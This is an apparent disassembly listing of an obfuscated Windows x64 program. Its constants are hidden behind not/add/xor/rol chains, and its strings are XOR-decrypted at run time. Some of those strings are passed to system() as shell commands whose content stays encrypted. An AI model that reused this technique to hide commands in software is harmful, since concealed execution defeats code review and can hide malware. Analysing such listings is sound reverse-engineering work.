sub rdx, 0x4eadb238
popf
lea rcx, [rsp + 0x70]
jmp 0x1400d508e
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rdx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
push rdx
not rdx
sub rcx, rdx
pop rdx
sub rcx, 1
jmp 0x1400d50ab
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400d5112
push rax
pushf
mov eax, 0x45deaf6d
pushf
not eax
add eax, 0xe548d444
xor eax, 0xd7804e00
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xc8247102
xor eax, 0x8e093e67
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xe72322fd
xor eax, 0xd8fe3248
rol eax, 0xef
popf
pushf
not eax
add eax, 0xca8c81a3
xor eax, 0xecd32dd3
rol eax, 0
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x2810b062
pushf
not eax
add eax, 0xa67cae29
xor eax, 0xd422c05e
rol eax, 0x60
popf
pushf
not eax
add eax, 0x984212f9
xor eax, 0xa7d929c7
rol eax, 0x82
popf
pushf
not eax
add eax, 0xfa90a833
xor eax, 0xd2094d95
rol eax, 0x75
popf
jmp 0x1400d0cce
movabs rax, 0x90e3dd0da16394c8
pushf
not rax
add rax, 0x678add9a
xor rax, 0x74e57ab9
rol rax, 0x36
popf
pushf
not rax
add rax, 0x4610699a
xor rax, 0x661b763d
rol rax, 0x96
popf
pushf
not rax
add rax, 0x42a530bd
xor rax, 0x5ae0c374
rol rax, 0x5a
popf
pushf
not rax
add rax, 0x70ba0841
xor rax, 0x5cbd520a
rol rax, 0xad
popf
mov qword [rbp + 0xd0], rax
movabs rax, 0xf83fa1a5244b7eb7
pushf
not rax
add rax, 0x5a49975d
xor rax, 0x7a895bf7
rol rax, 0x90
popf
pushf
not rax
add rax, 0x4f65e4aa
xor rax, 0x6e9b7dde
rol rax, 0x7f
popf
mov qword [rbp + 0xd8], rax
movabs rax, 0xfde98df00fbd9531
pushf
not rax
add rax, 0x4337fba7
xor rax, 0x5c6f7fb2
rol rax, 0xb0
popf
pushf
not rax
add rax, 0x7a3c5aee
xor rax, 0x4c8f6863
rol rax, 0xa6
popf
pushf
not rax
add rax, 0x5b7a0503
xor rax, 0x68df9bf7
rol rax, 0x29
popf
pushf
not rax
add rax, 0x759f851c
xor rax, 0x4933cba6
rol rax, 6
popf
mov qword [rbp + 0xe0], rax
movabs rax, 0xc7f8b17996dcbd59
pushf
not rax
add rax, 0x6daf300d
xor rax, 0x5839bbdd
rol rax, 0x15
popf
pushf
not rax
add rax, 0x7a87c41c
xor rax, 0x5d57fb58
rol rax, 0x95
popf
pushf
not rax
add rax, 0x6db70de9
xor rax, 0x5c62e8ef
rol rax, 0xa6
popf
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r15
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xe0], xmm1
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b9268
mov rbx, rax
jmp 0x1400d5328
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d5334
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x185d59996]
pushf
sub rdx, 0x45d51976
popf
mov rcx, rax
jmp 0x1400d5350
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x78]
call fcn.140115617
test rax, rax
jne 0x1400d53ab
push rax
pushf
mov eax, 0x9e16565
pushf
not eax
add eax, 0xae9c7129
xor eax, 0xb8a7bd84
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xec6f4b3e
xor eax, 0xd0e17ce7
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x9c06d129
xor eax, 0x82d1a7d6
rol eax, 0x9a
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x9844290a
pushf
not eax
add eax, 0xc703e1cf
xor eax, 0xb7a7ffa2
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xd84e8356
xor eax, 0xcf61b3d2
rol eax, 0x1c
popf
jmp 0x1400d0cce
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d5400
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
push rax
pushf
mov eax, 0x31b32f58
pushf
not eax
add eax, 0xa3b76db6
xor eax, 0x98b0a445
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xd0ac5da3
xor eax, 0x9ed6eb6e
rol eax, 0x99
popf
jmp 0x1400d0cce
movabs rax, 0x8e73727d81a419b0
pushf
not rax
add rax, 0x5c0d3776
xor rax, 0x440cab22
rol rax, 0x4e
popf
pushf
not rax
add rax, 0x71d3ab7f
xor rax, 0x6a30627a
rol rax, 0xb6
popf
pushf
not rax
add rax, 0x6860e64b
xor rax, 0x5b261a6a
rol rax, 2
popf
pushf
not rax
add rax, 0x51306445
xor rax, 0x62102367
rol rax, 0xb4
popf
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
jmp 0x1400d54da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400d54e1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
jmp 0x1400d42c6
lea rcx, [rsp + 0x78]
call fcn.140115617
test rax, rax
jne 0x1400d55ab
push rax
pushf
mov eax, 0xd188a716
pushf
not eax
add eax, 0x826434b7
xor eax, 0xbdf65cb0
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xe2449c2f
xor eax, 0xcb5e766b
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xe23a80ea
xor eax, 0xe902f641
rol eax, 0x76
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x7dbe456a
pushf
not eax
add eax, 0xc9f23bdc
xor eax, 0xb59ab4af
rol eax, 9
popf
pushf
not eax
add eax, 0xcf94a6fb
xor eax, 0xb11bd844
rol eax, 0x50
popf
pushf
not eax
add eax, 0xfae6d335
xor eax, 0xa2bbec5f
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xa065d017
xor eax, 0x9cb16c69
rol eax, 0xcd
popf
jmp 0x1400d0cce
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d5626
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
push rax
pushf
mov eax, 0xa21b2274
pushf
not eax
add eax, 0xef87c3be
xor eax, 0xab4febe2
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xb18780fa
xor eax, 0xa705ea06
rol eax, 0xe
popf
pushf
not eax
add eax, 0x8a4be5fb
xor eax, 0x975858e9
rol eax, 0xfe
popf
jmp 0x1400d0cce
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400ce79a
lea rcx, [rbp - 0x80]
jmp 0x1400d56a3
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x18]
jmp 0x1400d56ae
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
movabs rdi, 0xdd7baf9aac34c840
pushf
not rdi
add rdi, 0x515970ad
xor rdi, 0x60841e53
rol rdi, 0x7e
popf
pushf
not rdi
add rdi, 0x4917cc4b
xor rdi, 0x561b580e
rol rdi, 0x1a
popf
pushf
not rdi
add rdi, 0x4341f524
xor rdi, 0x5875f156
rol rdi, 0xfe
popf
push rax
pushf
mov eax, 0xce65f914
pushf
not eax
add eax, 0xef16c9ea
xor eax, 0xd4dca1eb
rol eax, 0xc1
popf
pushf
not eax
add eax, 0x847e48ec
xor eax, 0x944ae60c
rol eax, 0x20
popf
pushf
not eax
add eax, 0xcff6ab93
xor eax, 0xd4aca04b
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x900c0da2
xor eax, 0xb3395f74
rol eax, 0x4a
popf
jmp 0x1400d0cce
movabs rax, 0x9457c1802e969868
pushf
not rax
add rax, 0x4c6952c0
xor rax, 0x7709e2df
rol rax, 0xff
popf
pushf
not rax
add rax, 0x788326c6
xor rax, 0x5efadccc
rol rax, 0x50
popf
mov qword [rbp + 0x80], rax
movabs rbx, 0x2b254b934e400036
pushf
not rbx
add rbx, 0x7d205d8e
xor rbx, 0x435be671
rol rbx, 0xf2
popf
pushf
not rbx
add rbx, 0x6745303c
xor rbx, 0x65382dfa
rol rbx, 0x12
popf
pushf
not rbx
add rbx, 0x5640294c
xor rbx, 0x4ce2c076
rol rbx, 0xc5
popf
pushf
not rbx
add rbx, 0x6acfc65b
xor rbx, 0x6c4df249
rol rbx, 0x89
popf
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
call fcn.1400c1f89
test al, al
jne 0x1400d5882
push rax
pushf
mov eax, 0xac92c2e8
pushf
not eax
add eax, 0xa35d10d8
xor eax, 0xf67baca6
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xbb7d0849
xor eax, 0xb8338324
rol eax, 0x2f
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x765ec1e8
pushf
not eax
add eax, 0xa77d248c
xor eax, 0x88349bd8
rol eax, 0x64
popf
pushf
not eax
add eax, 0xe5a85aa0
xor eax, 0xd01bb0b4
rol eax, 0x64
popf
pushf
not eax
add eax, 0xf4962e8f
xor eax, 0x8e7d71b8
rol eax, 0x52
popf
pushf
not eax
add eax, 0xb9e2875c
xor eax, 0xd9f966d2
rol eax, 0x6e
popf
jmp 0x1400d0cce
movabs rax, 0xc465218cda630476
pushf
not rax
add rax, 0x6ce0d325
xor rax, 0x5ab4b146
rol rax, 0x13
popf
pushf
not rax
add rax, 0x62490cca
xor rax, 0x5069c134
rol rax, 0x37
popf
pushf
not rax
add rax, 0x5739b8f2
xor rax, 0x42ff33db
rol rax, 0x9a
popf
mov qword [rbp + 0x100], rax
movabs rax, 0x9e103713aee18880
pushf
not rax
add rax, 0x566f05b7
xor rax, 0x4ce3ee75
rol rax, 0x11
popf
pushf
not rax
add rax, 0x692966e6
xor rax, 0x4b2abb83
rol rax, 0x9f
popf
mov qword [rbp + 0x108], rax
movabs rax, 0xa970928909b5b6c2
pushf
not rax
add rax, 0x75c0cecd
xor rax, 0x5b82c668
rol rax, 0xe3
popf
pushf
not rax
add rax, 0x4259d873
xor rax, 0x5dab540f
rol rax, 0x93
popf
mov qword [rbp + 0x110], rax
movabs rax, 0xfaa53dab8ab274d5
pushf
not rax
add rax, 0x7866233c
xor rax, 0x5379f084
rol rax, 0x8a
popf
pushf
not rax
add rax, 0x58789d0b
xor rax, 0x64d0c3c1
rol rax, 0x4c
popf
mov qword [rbp + 0x118], rax
movabs rax, 0x3dba1802517fa054
pushf
not rax
add rax, 0x74dc696c
xor rax, 0x45ea23e0
rol rax, 0xc2
popf
pushf
not rax
add rax, 0x5d9b9288
xor rax, 0x5b9a9895
rol rax, 2
popf
pushf
not rax
add rax, 0x6ffd8699
xor rax, 0x57dba86a
rol rax, 0xdc
popf
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdi
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r15
movabs rcx, 0x5ac970dc414ae80e
pushf
not rcx
add rcx, 0x7568f6d8
xor rcx, 0x6b2e7338
rol rcx, 0xda
popf
pushf
not rcx
add rcx, 0x6fe1e7a3
xor rcx, 0x47744b9d
rol rcx, 0x5c
popf
pushf
not rcx
add rcx, 0x6fe972fb
xor rcx, 0x784c8def
rol rcx, 0x31
popf
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdi
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [rbp + 0x110]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b9268
lea rdx, [0x18ced8bbf]
pushf
sub rdx, 0x4ced0b9f
popf
mov rcx, rax
jmp 0x1400d5b38
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movabs rax, 0xe4fabc15d3c421d7
pushf
not rax
add rax, 0x501b0878
xor rax, 0x499b8c51
rol rax, 0x78
popf
pushf
not rax
add rax, 0x6e9f6e15
xor rax, 0x41f250e1
rol rax, 0xf1
popf
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
jmp 0x1400d5bb1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
push rax
pushf
mov eax, 0x50317a9
pushf
not eax
add eax, 0xdadd1796
xor eax, 0xd83e527d
rol eax, 0x27
popf
pushf
not eax
add eax, 0x8991e565
xor eax, 0x95bb0dde
rol eax, 0x9a
popf
jmp 0x1400d0cce
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400d5c3c
push rax
pushf
mov eax, 0xedecf5ce
pushf
not eax
add eax, 0xa9ccc3b8
xor eax, 0x8e2b4101
rol eax, 0x55
popf
pushf
not eax
add eax, 0xac276bff
xor eax, 0xc1ff2d5b
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xab89acfb
xor eax, 0xf7d59ced
rol eax, 0x74
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0xfde2cfd3
pushf
not eax
add eax, 0xfd55b6c3
xor eax, 0xb0f1687c
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x9c2d9aed
xor eax, 0xf46b41a3
rol eax, 0xd7
popf
jmp 0x1400d0cce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d5ce1
push rax
pushf
mov eax, 0x6ae149a2
pushf
not eax
add eax, 0xc3786efc
xor eax, 0xa85b0ed9
rol eax, 0xff
popf
pushf
not eax
add eax, 0xd5f245ac
xor eax, 0xa3da5f2c
rol eax, 0xca
popf
pushf
not eax
add eax, 0x98774f4e
xor eax, 0xd8b61014
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xd28b35dc
xor eax, 0xc42b57e7
rol eax, 0x38
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0xc8e8c0e0
pushf
not eax
add eax, 0xd779ec13
xor eax, 0xcf363d33
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xbc413b67
xor eax, 0xa0f6ac20
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xad927ee8
xor eax, 0x97badab6
rol eax, 0xea
popf
jmp 0x1400d0cce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d5d82
push rax
pushf
mov eax, 0x2fd52a6
pushf
not eax
add eax, 0xc555efa2
xor eax, 0xdcda5022
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xb4772d6e
xor eax, 0xfa8ca754
rol eax, 0xed
popf
pushf
not eax
add eax, 0xac628d16
xor eax, 0xcce313b1
rol eax, 0x8e
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x88a43710
pushf
not eax
add eax, 0x884d7643
xor eax, 0xd9188538
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xaf7a5bba
xor eax, 0xf6548ac2
rol eax, 8
popf
pushf
not eax
add eax, 0xba9b7844
xor eax, 0x98d8d557
rol eax, 0x20
popf
jmp 0x1400d0cce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3e2b
push rax
pushf
mov eax, 0x710408b9
pushf
not eax
add eax, 0xf9fed9cf
xor eax, 0xa2025f76
rol eax, 0xe
popf
pushf
not eax
add eax, 0x95a2512a
xor eax, 0x9ecc91c5
rol eax, 0x22
popf
pushf
not eax
add eax, 0x900c6e65
xor eax, 0xbf139cad
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xc02c08a0
xor eax, 0xdc54e296
rol eax, 0xa6
popf
jmp 0x1400d0cce
mov eax, r12d
jmp 0x1400d1749
call fcn.1400e2bcb
int3
call fcn.1400a2642
int3